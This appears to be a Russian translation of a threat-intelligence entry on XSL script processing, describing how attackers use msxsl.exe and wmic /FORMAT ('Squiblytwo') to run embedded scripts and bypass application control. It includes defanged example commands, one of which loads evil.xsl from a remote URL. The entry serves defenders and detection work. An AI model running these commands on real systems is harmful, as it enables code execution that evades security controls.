Обработка XSL-скриптов
Злоумышленники могут обходить контроль приложений и скрывать выполнение кода путем встраивания скриптов в XSL-файлы. Файлы расширяемого языка таблиц стилей (XSL) обычно используются для описания обработки и отображения данных в XML-файлах. Для поддержки сложных операций стандарт XSL включает поддержку встроенных скриптов на различных языках.
Злоумышленники могут злоупотреблять этой функциональностью для выполнения произвольных файлов, потенциально обходя контроль приложений. Подобно Проксированию выполнения с помощью утилит доверенных разработчиков, утилита преобразования командной строки Microsoft (msxsl.exe) может быть установлена и использована для выполнения вредоносного JavaScript, встроенного в локальные или удаленные (по URL-ссылке) XSL-файлы. Поскольку msxsl.exe не установлен по умолчанию, злоумышленнику, вероятно, потребуется упаковать его с подброшенными файлами. Msxsl.exe принимает два основных аргумента: исходный XML-файл и таблицу стилей XSL. Поскольку XSL-файл является допустимым XML, злоумышленник может вызвать один и тот же XSL-файл дважды. При использовании msxsl.exe злоумышленники также могут давать XML/XSL-файлам произвольное расширение.
Примеры командной строки:
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Другой вариант этой техники, получивший название "Squiblytwo", включает использование Инструментария управления Windows для вызова JScript или VBScript внутри XSL-файла. Эта техника также может выполнять локальные/удаленные скрипты и, подобно своему аналогу Regsvr32 / "Squiblydoo", использует доверенный встроенный инструмент Windows. Злоумышленники могут злоупотреблять любым псевдонимом в Инструментарии управления Windows, при условии использования переключателя /FORMAT.
Примеры командной строки:
* Локальный файл: wmic process list /FORMAT:evil[.]xsl
* Удаленный файл: wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"